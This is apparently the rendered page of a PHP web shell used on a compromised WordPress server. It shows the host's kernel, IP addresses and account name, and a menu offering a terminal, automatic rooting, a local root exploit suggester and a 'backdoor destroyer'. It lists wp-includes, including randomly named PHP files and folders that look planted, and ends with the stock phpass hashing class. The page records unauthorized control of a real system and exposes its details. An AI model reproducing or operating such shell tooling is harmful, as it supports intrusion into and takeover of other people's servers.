Linux yavrix.internet-webhosting.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
LiteSpeed
Server IP : 103.8.25.136 & Your IP : 216.73.216.189
Domains :
Cant Read [ /etc/named.conf ]
User : klinikpe
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
klinikpe /
public_html /
wp-includes /
Delete
Unzip
Name
Size
Permission
Date
Action
IXR
[ DIR ]
drwxr-xr-x
2026-08-07 01:42
JPM
[ DIR ]
drwxr-xr-x
2026-08-06 02:24
PHPMailer
[ DIR ]
drwxr-xr-x
2026-08-05 02:49
RH
[ DIR ]
drwxr-xr-x
2026-08-06 02:24
Requests
[ DIR ]
drwxr-xr-x
2026-08-07 01:42
SimplePie
[ DIR ]
drwxr-xr-x
2026-08-05 02:49
VTJn
[ DIR ]
drwxr-xr-x
2026-08-06 02:24
block-bindings
[ DIR ]
drwxr-xr-x
2026-08-08 02:28
block-patterns
[ DIR ]
drwxr-xr-x
2026-08-06 02:24
block-supports
[ DIR ]
drwxr-xr-x
2026-08-06 02:24
blocks
[ DIR ]
drwxr-xr-x
2026-08-08 02:29
certificates
[ DIR ]
drwxr-xr-x
2026-08-08 02:30
customize
[ DIR ]
drwxr-xr-x
2026-08-06 02:24
fonts
[ DIR ]
drwxr-xr-x
2026-08-07 01:42
html-api
[ DIR ]
drwxr-xr-x
2026-08-05 02:49
images
[ DIR ]
drwxr-xr-x
2026-08-05 02:49
interactivity-api
[ DIR ]
drwxr-xr-x
2026-08-05 02:49
js
[ DIR ]
drwxr-xr-x
2026-08-08 02:29
l10n
[ DIR ]
drwxr-xr-x
2026-08-07 01:42
php-compat
[ DIR ]
drwxr-xr-x
2026-08-05 02:49
pomo
[ DIR ]
drwxr-xr-x
2026-08-08 02:31
rest-api
[ DIR ]
drwxr-xr-x
2026-08-07 01:42
sitemaps
[ DIR ]
drwxr-xr-x
2026-08-05 02:49
sodium_compat
[ DIR ]
drwxr-xr-x
2026-08-08 02:30
style-engine
[ DIR ]
drwxr-xr-x
2026-08-05 02:49
theme-compat
[ DIR ]
drwxr-xr-x
2026-08-05 02:49
widgets
[ DIR ]
drwxr-xr-x
2026-08-05 02:49
.htaccess
517
B
-r-xr-xr-x
2026-08-07 01:42
admin-bar.php
36.23
KB
-rw-r--r--
2023-11-19 18:32
akrlfn.php
19.61
KB
-rw-r--r--
2026-08-07 01:42
atomlib.php
11.79
KB
-rw-r--r--
2023-11-19 18:32
author-template.php
18.51
KB
-rw-r--r--
2023-11-19 18:32
bdujdu.php
19.61
KB
-rw-r--r--
2026-08-06 02:24
block-bindings.php
5.46
KB
-rw-r--r--
2023-11-19 18:32
block-i18n.json
316
B
-rw-r--r--
2023-11-19 18:32
block-patterns.php
12.81
KB
-rw-r--r--
2023-11-19 18:32
block-template-utils.php
58.74
KB
-rw-r--r--
2023-11-19 18:32
block-template.php
13.81
KB
-rw-r--r--
2023-11-19 18:32
blocks.php
102.43
KB
-rw-r--r--
2023-11-19 18:32
bookmark-template.php
12.64
KB
-rw-r--r--
2023-11-19 18:32
bookmark.php
15.07
KB
-rw-r--r--
2023-11-19 18:32
cache.php
13.16
KB
-rw-r--r--
2023-11-19 18:32
canonical.php
33.71
KB
-rw-r--r--
2023-11-19 18:32
capabilities.php
41.72
KB
-rw-r--r--
2023-11-19 18:32
class-IXR.php
2.48
KB
-rw-r--r--
2023-11-19 18:32
class-avif-info.php
28.92
KB
-rw-r--r--
2023-11-19 18:32
class-feed.php
539
B
-rw-r--r--
2023-11-19 18:32
class-http.php
367
B
-rw-r--r--
2023-11-19 18:32
class-json.php
42.66
KB
-rw-r--r--
2023-11-19 18:32
class-oembed.php
401
B
-rw-r--r--
2023-11-19 18:32
class-phpass.php
6.61
KB
-rw-r--r--
2023-11-19 18:32
class-phpmailer.php
664
B
-rw-r--r--
2023-11-19 18:32
class-requests.php
2.18
KB
-rw-r--r--
2023-11-19 18:32
class-simplepie.php
453
B
-rw-r--r--
2023-11-19 18:32
class-walker-category.php
8.28
KB
-rw-r--r--
2023-11-19 18:32
class-walker-comment.php
13.89
KB
-rw-r--r--
2023-11-19 18:32
class-walker-nav-menu.php
11.51
KB
-rw-r--r--
2023-11-19 18:32
class-walker-page.php
7.43
KB
-rw-r--r--
2023-11-19 18:32
class-wp-admin-bar.php
17.46
KB
-rw-r--r--
2023-11-19 18:32
class-wp-ajax-response.php
5.14
KB
-rw-r--r--
2023-11-19 18:32
class-wp-application-passwords.php
15.25
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block-bindings-registry.php
8.26
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block-editor-context.php
1.32
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block-metadata-registry.php
9.99
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block-parser-block.php
2.5
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block-parser-frame.php
1.97
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block-parser.php
11.26
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block-pattern-categories-registry.php
5.25
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block-patterns-registry.php
10.92
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block-styles-registry.php
6.12
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block-supports.php
5.48
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block-template.php
1.99
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block-templates-registry.php
7.06
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block-type-registry.php
4.9
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block-type.php
16.86
KB
-rw-r--r--
2023-11-19 18:32
class-wp-block.php
19.96
KB
-rw-r--r--
2023-11-19 18:32
class-wp-classic-to-block-menu-converter.php
3.99
KB
-rw-r--r--
2023-11-19 18:32
class-wp-comment-query.php
47.26
KB
-rw-r--r--
2023-11-19 18:32
class-wp-comment.php
9.15
KB
-rw-r--r--
2023-11-19 18:32
class-wp-customize-control.php
25.13
KB
-rw-r--r--
2023-11-19 18:32
class-wp-customize-manager.php
197.79
KB
-rw-r--r--
2023-11-19 18:32
class-wp-customize-section.php
10.95
KB
-rw-r--r--
2023-11-19 18:32
class-wp-customize-widgets.php
70.47
KB
-rw-r--r--
2023-11-19 18:32
class-wp-date-query.php
34.89
KB
-rw-r--r--
2023-11-19 18:32
class-wp-dependencies.php
14.78
KB
-rw-r--r--
2023-11-19 18:32
class-wp-duotone.php
39.83
KB
-rw-r--r--
2023-11-19 18:32
class-wp-editor.php
70.64
KB
-rw-r--r--
2023-11-19 18:32
class-wp-error.php
7.33
KB
-rw-r--r--
2023-11-19 18:32
class-wp-exception.php
253
B
-rw-r--r--
2023-11-19 18:32
class-wp-feed-cache-transient.php
3.1
KB
-rw-r--r--
2023-11-19 18:32
class-wp-hook.php
15.63
KB
-rw-r--r--
2023-11-19 18:32
class-wp-http-cookie.php
7.22
KB
-rw-r--r--
2023-11-19 18:32
class-wp-http-curl.php
12.25
KB
-rw-r--r--
2023-11-19 18:32
class-wp-http-encoding.php
6.53
KB
-rw-r--r--
2023-11-19 18:32
class-wp-http-ixr-client.php
3.42
KB
-rw-r--r--
2023-11-19 18:32
class-wp-http-requests-response.php
4.3
KB
-rw-r--r--
2023-11-19 18:32
class-wp-http.php
40.53
KB
-rw-r--r--
2023-11-19 18:32
class-wp-image-editor-gd.php
19.42
KB
-rw-r--r--
2023-11-19 18:32
class-wp-image-editor-imagick.php
31.9
KB
-rw-r--r--
2023-11-19 18:32
class-wp-locale-switcher.php
6.47
KB
-rw-r--r--
2023-11-19 18:32
class-wp-locale.php
15.73
KB
-rw-r--r--
2023-11-19 18:32
class-wp-meta-query.php
29.82
KB
-rw-r--r--
2023-11-19 18:32
class-wp-navigation-fallback.php
9
KB
-rw-r--r--
2023-11-19 18:32
class-wp-network-query.php
19.39
KB
-rw-r--r--
2023-11-19 18:32
class-wp-network.php
12.01
KB
-rw-r--r--
2023-11-19 18:32
class-wp-oembed.php
30.74
KB
-rw-r--r--
2023-11-19 18:32
class-wp-post-type.php
29.63
KB
-rw-r--r--
2023-11-19 18:32
class-wp-query.php
150.47
KB
-rw-r--r--
2023-11-19 18:32
class-wp-recovery-mode-cookie-service.php
6.72
KB
-rw-r--r--
2023-11-19 18:32
class-wp-recovery-mode-link-service.php
3.38
KB
-rw-r--r--
2023-11-19 18:32
class-wp-rewrite.php
62.2
KB
-rw-r--r--
2023-11-19 18:32
class-wp-roles.php
8.38
KB
-rw-r--r--
2023-11-19 18:32
class-wp-script-modules.php
18.91
KB
-rw-r--r--
2023-11-19 18:32
class-wp-scripts.php
27.68
KB
-rw-r--r--
2023-11-19 18:32
class-wp-session-tokens.php
7.28
KB
-rw-r--r--
2023-11-19 18:32
class-wp-simplepie-file.php
3.33
KB
-rw-r--r--
2023-11-19 18:32
class-wp-simplepie-sanitize-kses.php
1.79
KB
-rw-r--r--
2023-11-19 18:32
class-wp-site-query.php
30.88
KB
-rw-r--r--
2023-11-19 18:32
class-wp-styles.php
10.75
KB
-rw-r--r--
2023-11-19 18:32
class-wp-tax-query.php
19.1
KB
-rw-r--r--
2023-11-19 18:32
class-wp-taxonomy.php
18.13
KB
-rw-r--r--
2023-11-19 18:32
class-wp-term-query.php
39.91
KB
-rw-r--r--
2023-11-19 18:32
class-wp-term.php
5.17
KB
-rw-r--r--
2023-11-19 18:32
class-wp-text-diff-renderer-inline.php
979
B
-rw-r--r--
2023-11-19 18:32
class-wp-textdomain-registry.php
10.24
KB
-rw-r--r--
2023-11-19 18:32
class-wp-theme-json-data.php
1.77
KB
-rw-r--r--
2023-11-19 18:32
class-wp-theme-json-resolver.php
34.97
KB
-rw-r--r--
2023-11-19 18:32
class-wp-theme-json-schema.php
7.19
KB
-rw-r--r--
2023-11-19 18:32
class-wp-user-query.php
42.63
KB
-rw-r--r--
2023-11-19 18:32
class-wp-user.php
22.29
KB
-rw-r--r--
2023-11-19 18:32
class-wp-walker.php
13.01
KB
-rw-r--r--
2023-11-19 18:32
class-wp-widget-factory.php
3.27
KB
-rw-r--r--
2023-11-19 18:32
class-wp-widget.php
17.99
KB
-rw-r--r--
2023-11-19 18:32
class-wp.php
25.51
KB
-rw-r--r--
2023-11-19 18:32
class-wpdb.php
115.61
KB
-rw-r--r--
2023-11-19 18:32
class.wp-dependencies.php
373
B
-rw-r--r--
2023-11-19 18:32
class.wp-scripts.php
343
B
-rw-r--r--
2023-11-19 18:32
class.wp-styles.php
338
B
-rw-r--r--
2023-11-19 18:32
comment-template.php
100.36
KB
-rw-r--r--
2023-11-19 18:32
comment.php
127.22
KB
-rw-r--r--
2023-11-19 18:32
compat.php
16.58
KB
-rw-r--r--
2023-11-19 18:32
date.php
400
B
-rw-r--r--
2023-11-19 18:32
default-constants.php
11.1
KB
-rw-r--r--
2023-11-19 18:32
default-filters.php
34.85
KB
-rw-r--r--
2023-11-19 18:32
deprecated.php
185.67
KB
-rw-r--r--
2023-11-19 18:32
embed-template.php
338
B
-rw-r--r--
2023-11-19 18:32
embed.php
37.02
KB
-rw-r--r--
2023-11-19 18:32
feed-atom-comments.php
5.38
KB
-rw-r--r--
2023-11-19 18:32
feed-atom.php
2.98
KB
-rw-r--r--
2023-11-19 18:32
feed-rss.php
1.16
KB
-rw-r--r--
2023-11-19 18:32
feed-rss2-comments.php
4.04
KB
-rw-r--r--
2023-11-19 18:32
feed-rss2.php
3.71
KB
-rw-r--r--
2023-11-19 18:32
feed.php
22.86
KB
-rw-r--r--
2023-11-19 18:32
fonts.php
9.52
KB
-rw-r--r--
2023-11-19 18:32
formatting.php
327.37
KB
-rw-r--r--
2023-11-19 18:32
functions.php
276.53
KB
-rw-r--r--
2023-11-19 18:32
functions.wp-scripts.php
14.22
KB
-rw-r--r--
2023-11-19 18:32
functions.wp-styles.php
8.38
KB
-rw-r--r--
2023-11-19 18:32
http.php
24.72
KB
-rw-r--r--
2023-11-19 18:32
https-detection.php
5.53
KB
-rw-r--r--
2023-11-19 18:32
https-migration.php
4.63
KB
-rw-r--r--
2023-11-19 18:32
kses.php
72.67
KB
-rw-r--r--
2023-11-19 18:32
l10n.php
66.81
KB
-rw-r--r--
2023-11-19 18:32
link-template.php
154.01
KB
-rw-r--r--
2023-11-19 18:32
load.php
69.41
KB
-rw-r--r--
2026-04-06 05:08
locale.php
162
B
-rw-r--r--
2023-11-19 18:32
media-template.php
61.57
KB
-rw-r--r--
2023-11-19 18:32
media.php
213.36
KB
-rw-r--r--
2023-11-19 18:32
meta.php
62.9
KB
-rw-r--r--
2023-11-19 18:32
ms-default-filters.php
6.48
KB
-rw-r--r--
2023-11-19 18:32
ms-deprecated.php
21.25
KB
-rw-r--r--
2023-11-19 18:32
ms-files.php
2.65
KB
-rw-r--r--
2023-11-19 18:32
ms-functions.php
89.11
KB
-rw-r--r--
2023-11-19 18:32
ms-load.php
19.42
KB
-rw-r--r--
2023-11-19 18:32
ms-network.php
3.69
KB
-rw-r--r--
2023-11-19 18:32
ms-settings.php
4.03
KB
-rw-r--r--
2023-11-19 18:32
ms-site.php
39.54
KB
-rw-r--r--
2023-11-19 18:32
nav-menu.php
43.31
KB
-rw-r--r--
2023-11-19 18:32
option.php
99.37
KB
-rw-r--r--
2023-11-19 18:32
pluggable-deprecated.php
6.12
KB
-rw-r--r--
2023-11-19 18:32
pluggable.php
113.25
KB
-rw-r--r--
2023-11-19 18:32
plugin.php
47.72
KB
-rw-r--r--
2026-03-21 11:55
post-formats.php
6.94
KB
-rw-r--r--
2023-11-19 18:32
post-template.php
65.31
KB
-rw-r--r--
2023-11-19 18:32
query.php
36.17
KB
-rw-r--r--
2023-11-19 18:32
registration-functions.php
200
B
-rw-r--r--
2023-11-19 18:32
registration.php
200
B
-rw-r--r--
2023-11-19 18:32
rest-api.php
97.26
KB
-rw-r--r--
2023-11-19 18:32
revision.php
30.17
KB
-rw-r--r--
2023-11-19 18:32
revisson.php
17.25
KB
-rw-r--r--
2026-05-02 00:49
rewrite.php
19.08
KB
-rw-r--r--
2023-11-19 18:32
robots-template.php
5.06
KB
-rw-r--r--
2023-11-19 18:32
rss-functions.php
255
B
-rw-r--r--
2023-11-19 18:32
rss.php
22.57
KB
-rw-r--r--
2023-11-19 18:32
script-loader.php
127.67
KB
-rw-r--r--
2023-11-19 18:32
script-modules.php
7.53
KB
-rw-r--r--
2023-11-19 18:32
session.php
258
B
-rw-r--r--
2023-11-19 18:32
shortcodes.php
23.49
KB
-rw-r--r--
2023-11-19 18:32
sitemaps.php
3.16
KB
-rw-r--r--
2023-11-19 18:32
style-engine.php
7.39
KB
-rw-r--r--
2023-11-19 18:32
template-loader.php
3.27
KB
-rw-r--r--
2023-11-19 18:32
template.php
23.59
KB
-rw-r--r--
2023-11-19 18:32
theme-i18n.json
1.26
KB
-rw-r--r--
2023-11-19 18:32
theme-previews.php
2.77
KB
-rw-r--r--
2023-11-19 18:32
theme.php
130.84
KB
-rw-r--r--
2023-11-19 18:32
update.php
35.93
KB
-rw-r--r--
2023-11-19 18:32
user.php
170.32
KB
-rw-r--r--
2023-11-19 18:32
vars.php
6.34
KB
-rw-r--r--
2023-11-19 18:32
version.php
931
B
-rw-r--r--
2023-11-19 18:32
widgets.php
69.03
KB
-rw-r--r--
2023-11-19 18:32
wp-db.php
445
B
-rw-r--r--
2023-11-19 18:32
Save
Rename
<?php /** * Portable PHP password hashing framework. * @package phpass * @since 2.5.0 * @version 0.5 / WordPress * @link https://www.openwall.com/phpass/ */ # # Portable PHP password hashing framework. # # Version 0.5.4 / WordPress. # # Written by Solar Designer <solar at openwall.com> in 2004-2006 and placed in # the public domain. Revised in subsequent years, still public domain. # # There's absolutely no warranty. # # The homepage URL for this framework is: # # http://www.openwall.com/phpass/ # # Please be sure to update the Version line if you edit this file in any way. # It is suggested that you leave the main version number intact, but indicate # your project name (after the slash) and add your own revision information. # # Please do not change the "private" password hashing method implemented in # here, thereby making your hashes incompatible. However, if you must, please # change the hash type identifier (the "$P$") to something different. # # Obviously, since this code is in the public domain, the above are not # requirements (there can be none), but merely suggestions. # /** * Portable PHP password hashing framework. * * @package phpass * @version 0.5 / WordPress * @link https://www.openwall.com/phpass/ * @since 2.5.0 */ class PasswordHash { var $itoa64; var $iteration_count_log2; var $portable_hashes; var $random_state; function __construct($iteration_count_log2, $portable_hashes) { $this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31) { $iteration_count_log2 = 8; } $this->iteration_count_log2 = $iteration_count_log2; $this->portable_hashes = $portable_hashes; $this->random_state = microtime(); if (function_exists('getmypid')) { $this->random_state .= getmypid(); } } function PasswordHash($iteration_count_log2, $portable_hashes) { self::__construct($iteration_count_log2, $portable_hashes); } function get_random_bytes($count) { $output = ''; if (@is_readable('/dev/urandom') && ($fh = @fopen('/dev/urandom', 'rb'))) { $output = fread($fh, $count); fclose($fh); } if (strlen($output) < $count) { $output = ''; for ($i = 0; $i < $count; $i += 16) { $this->random_state = md5(microtime() . $this->random_state); $output .= md5($this->random_state, TRUE); } $output = substr($output, 0, $count); } return $output; } function encode64($input, $count) { $output = ''; $i = 0; do { $value = ord($input[$i++]); $output .= $this->itoa64[$value & 0x3f]; if ($i < $count) { $value |= ord($input[$i]) << 8; } $output .= $this->itoa64[($value >> 6) & 0x3f]; if ($i++ >= $count) { break; } if ($i < $count) { $value |= ord($input[$i]) << 16; } $output .= $this->itoa64[($value >> 12) & 0x3f]; if ($i++ >= $count) { break; } $output .= $this->itoa64[($value >> 18) & 0x3f]; } while ($i < $count); return $output; } function gensalt_private($input) { $output = '$P$'; $output .= $this->itoa64[min($this->iteration_count_log2 + 5, 30)]; $output .= $this->encode64($input, 6); return $output; } function crypt_private($password, $setting) { $output = '*0'; if (substr($setting, 0, 2) === $output) { $output = '*1'; } $id = substr($setting, 0, 3); # We use "$P$", phpBB3 uses "$H$" for the same thing if ($id !== '$P$' && $id !== '$H$') { return $output; } $count_log2 = strpos($this->itoa64, $setting[3]); if ($count_log2 < 7 || $count_log2 > 30) { return $output; } $count = 1 << $count_log2; $salt = substr($setting, 4, 8); if (strlen($salt) !== 8) { return $output; } # We were kind of forced to use MD5 here since it's the only # cryptographic primitive that was available in all versions # of PHP in use. To implement our own low-level crypto in PHP # would have resulted in much worse performance and # consequently in lower iteration counts and hashes that are # quicker to crack (by non-PHP code). $hash = md5($salt . $password, TRUE); do { $hash = md5($hash . $password, TRUE); } while (--$count); $output = substr($setting, 0, 12); $output .= $this->encode64($hash, 16); return $output; } function gensalt_blowfish($input) { # This one needs to use a different order of characters and a # different encoding scheme from the one in encode64() above. # We care because the last character in our encoded string will # only represent 2 bits. While two known implementations of # bcrypt will happily accept and correct a salt string which # has the 4 unused bits set to non-zero, we do not want to take # chances and we also do not want to waste an additional byte # of entropy. $itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $output = '$2a$'; $output .= chr((int)(ord('0') + $this->iteration_count_log2 / 10)); $output .= chr(ord('0') + $this->iteration_count_log2 % 10); $output .= '$'; $i = 0; do { $c1 = ord($input[$i++]); $output .= $itoa64[$c1 >> 2]; $c1 = ($c1 & 0x03) << 4; if ($i >= 16) { $output .= $itoa64[$c1]; break; } $c2 = ord($input[$i++]); $c1 |= $c2 >> 4; $output .= $itoa64[$c1]; $c1 = ($c2 & 0x0f) << 2; $c2 = ord($input[$i++]); $c1 |= $c2 >> 6; $output .= $itoa64[$c1]; $output .= $itoa64[$c2 & 0x3f]; } while (1); return $output; } function HashPassword($password) { if ( strlen( $password ) > 4096 ) { return '*'; } $random = ''; if (CRYPT_BLOWFISH === 1 && !$this->portable_hashes) { $random = $this->get_random_bytes(16); $hash = crypt($password, $this->gensalt_blowfish($random)); if (strlen($hash) === 60) { return $hash; } } if (strlen($random) < 6) { $random = $this->get_random_bytes(6); } $hash = $this->crypt_private($password, $this->gensalt_private($random)); if (strlen($hash) === 34) { return $hash; } # Returning '*' on error is safe here, but would _not_ be safe # in a crypt(3)-like function used _both_ for generating new # hashes and for validating passwords against existing hashes. return '*'; } function CheckPassword($password, $stored_hash) { if ( strlen( $password ) > 4096 ) { return false; } $hash = $this->crypt_private($password, $stored_hash); if ($hash[0] === '*') { $hash = crypt($password, $stored_hash); } # This is not constant-time. In order to keep the code simple, # for timing safety we currently rely on the salts being # unpredictable, which they are at least in the non-fallback # cases (that is, when we use /dev/urandom and bcrypt). return $hash === $stored_hash; } }